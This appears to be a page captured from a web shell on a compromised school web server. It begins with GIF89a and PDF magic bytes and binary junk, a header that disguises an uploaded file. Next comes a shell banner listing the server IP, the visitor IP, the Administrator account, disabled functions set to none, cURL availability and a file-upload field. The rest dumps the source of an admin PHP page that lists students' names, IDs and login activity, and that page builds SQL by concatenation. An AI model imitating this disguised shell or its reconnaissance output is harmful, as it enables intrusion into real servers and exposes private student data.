GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Admin/ |
Upload File : |
<? // Users.phpinc debugTrackBegin(); if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","<b>".__FILE__."</b><br>\n"; } $headTitle = '_CST_ - Users'; $pageTitle = '_CST_<br>Users'; include('common/pageHeader.phpinc'); // Get list of duplicate Users by userStudentId. $query = " SELECT userStudentId, COUNT(userStudentId) AS userStudentIdNumOccurrences FROM user GROUP BY userStudentId HAVING userStudentID <> '0' AND COUNT(userStudentId) > 1 "; $userDuplicateList = query_do($query); $userDuplicateCount = $_SESSION['qry']['count']; if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","\$userDuplicateCount=".$userDuplicateCount."<br>\n"; } if ($userDuplicateCount) { $sectionTitle = '_CST_ - Duplicate Users'; include('common/sectionHeader.phpinc'); ?> <fieldset><legend>Possible duplicate users</legend> <table border="0" cellpadding="1" cellspacing="0"> <tr><td class="grayline"></td><th class="grayline">userId</th><th class="grayline">Username</th><th class="grayline">First name</th><th class="grayline">Last name</th><th class="grayline">Student ID</th><th class="grayline">Last login</th><th class="grayline">Login count</th></tr> <? mysqli_data_seek($userDuplicateList , 0); while ($userDuplicateInfo = mysqli_fetch_assoc($userDuplicateList)) { if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","\$userDuplicateInfo['userStudentId']=".$userDuplicateInfo['userStudentId']."<br>\n"; } // Get current list of duplicate Users by userStudentId. $query = " SELECT * FROM user WHERE userStudentId = ".$userDuplicateInfo['userStudentId']." ORDER BY userLastName, userFirstName, userId "; $userCurrentDuplicateList = query_do($query); $userCurrentDuplicateCount = $_SESSION['qry']['count']; if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","\$userCurrentDuplicateCount=".$userCurrentDuplicateCount."<br>\n"; } $count = 1; while ($userCurrentDuplicateInfo = mysqli_fetch_assoc($userCurrentDuplicateList)) { if ($count == $userCurrentDuplicateCount) { $class = ' grayline'; } else { $class = ''; } if ($count == 1) { ?> <form name="form_userMerge" action="<?=php_self()?>" method="post" style="display:inline;" /> <input name="f_uuid" type="hidden" value="<?=uuid()?>" /> <input name="f_form" type="hidden" value="form_userMerge" /> <input name="f_userId" type="hidden" value="<?=$userCurrentDuplicateInfo['userId']?>" /> <tr> <td class="grayline" rowspan="<?=$userCurrentDuplicateCount?>"> <input type="submit" name="f_task" value="Merge" /> </td> <? } else { ?> <tr> <? } ?> <td class="right<?=$class?>"><?=$userCurrentDuplicateInfo['userId']?></td> <td class="<?=$class?>"><?=$userCurrentDuplicateInfo['userUsername']?></td> <td class="right<?=$class?>"><?=stripslashes($userCurrentDuplicateInfo['userFirstName'])?></td> <td class="<?=$class?>"><?=stripslashes($userCurrentDuplicateInfo['userLastName'])?></td> <td class="<?=$class?>"><?=$userCurrentDuplicateInfo['userStudentId']?></td> <td class="<?=$class?>"><?=$userCurrentDuplicateInfo['userAccessTime']?></td> <td class="right<?=$class?>"><?=$userCurrentDuplicateInfo['userLoginCount']?></td> </tr> <? $count++; } $count--; ?> <input name="f_count" type="hidden" value="<?=$count?>" /> </form> <? } ?> </table> </fieldset> <? include('common/sectionFooter.phpinc'); } // Get list of Users. $sortBy = formValue('sortBy',''); if ($sortBy == '') { $sortBy = 'First Name'; } switch ($sortBy) { case 'First Name': $f_orderBy = 'userFirstName, userLastName'; break; case 'Last Name': $f_orderBy = 'userLastName, userFirstName'; break; case 'Student ID': $f_orderBy = 'userStudentId'; break; default: $f_orderBy = 'userId'; break; } $query = " SELECT * FROM user ORDER BY ".$f_orderBy." "; $userList = query_do($query); $userCount = $_SESSION['qry']['count']; if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","\$userCount=".$userCount."<br>\n"; } $sectionTitle = '_CST_ - Users'; include('common/sectionHeader.phpinc'); if ($userCount != 1) { $userCountText = $userCount." users"; } else { $userCountText = $userCount." user"; } ?> <fieldset><legend>User List <span class="smaller">(<?=$userCountText?> sorted by <?=$sortBy?>) <span class="smaller">(Sort by: <? switch ($sortBy) { case 'First Name': ?><a href="?sortBy=Last Name">Last Name</a>, <a href="?sortBy=Student ID">Student ID</a>, <a href="?sortBy=userId">userId</a><? break; case 'Last Name': ?><a href="?sortBy=First Name">First Name</a>, <a href="?sortBy=Student ID">Student ID</a>, <a href="?sortBy=userId">userId</a><? break; case 'Student ID': ?><a href="?sortBy=First Name">First Name</a>, <a href="?sortBy=Last Name">Last Name</a>, <a href="?sortBy=userId">userId</a><? break; default: ?><a href="?sortBy=First Name">First Name</a>, <a href="?sortBy=Last Name">Last Name</a>, <a href="?sortBy=Student ID">Student ID</a></a><? break; } ?>)</span></span></legend> <? if ($userCount) { $usersPerColumn = (int) ($userCount/4+.99); //echo $usersPerColumn."<br>\n"; ?> <table cellpadding="0" cellspacing="0"><tr> <? mysqli_data_seek($userList, 0); $usersThisColumn = 0; while ($userInfo = mysqli_fetch_assoc($userList)) { if ($userInfo['userLoginCount']) { // User has logged in. if (date_difference($userInfo['userAccessTime'], currentDateTime()) <= 14) { // User has logged in within the last two weeks. $status = "Current"; } else { if (date_difference($userInfo['userAccessTime'], currentDateTime()) <= 90) { // User has logged in within the last three months. $status = "Recent"; } else { // User has not logged in within the last three months. $status = "Older"; } } $dateText = substr($userInfo['userAccessTime'],2,8); } else { // User has never logged in. $status = "Never"; $dateText = 'n/a'; } #$dateText = '<span class="normal">('.$dateText.')</span>'; if ($usersThisColumn == 0) { ?> <td style="padding-right:10px;"> <? } ?> <span class="normal user<?=$status?>" title="<?=$userInfo['userFirstName']?> <?=$userInfo['userLastName']?> lastLogin=<?=$dateText?>"><?=$userInfo['userStudentId']?> <?=$userInfo['userFirstName']?> <?=$userInfo['userLastName']?> #<?=$userInfo['userId']?></span> <br> <? $usersThisColumn++; if ($usersThisColumn == $usersPerColumn) { $usersThisColumn = 0; ?> </td> <? } } if ($usersThisColumn != 0) { ?> </td> <? } ?> </tr></table> <br>User Login status: <span class="userCurrent">Green = < 2 weeks,</span> <span class="userRecent">Blue = < 3 months,</span> <span class="userOlder">Orange = > 3 months,</span> <span class="userNever">Red = Never logged in</span>. <? } else { ?> <form name="form_classlistenter" action="<?=php_self()?>" method="post" style="display:inline;"> <input name="f_uuid" type="hidden" value="<?=uuid()?>"> <input name="f_form" type="hidden" value="form_classlistenter"> <input name="f_classId" type="hidden" value="<?=$f_classId?>"> <input name="f_courseNumber" type="hidden" value="<?=$f_courseNumber?>"> <input name="f_courseId" type="hidden" value="<?=$f_courseId?>"> <input name="f_task" type="hidden" value="Class Roster"> <input type="submit" name="f_subtask" value="Enter" class="small50"> </form> class roster. <br> The class roster is empty. <? } ?> </fieldset> <? include('common/sectionFooter.phpinc'); if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; include('common/pageFooter.phpinc'); ?>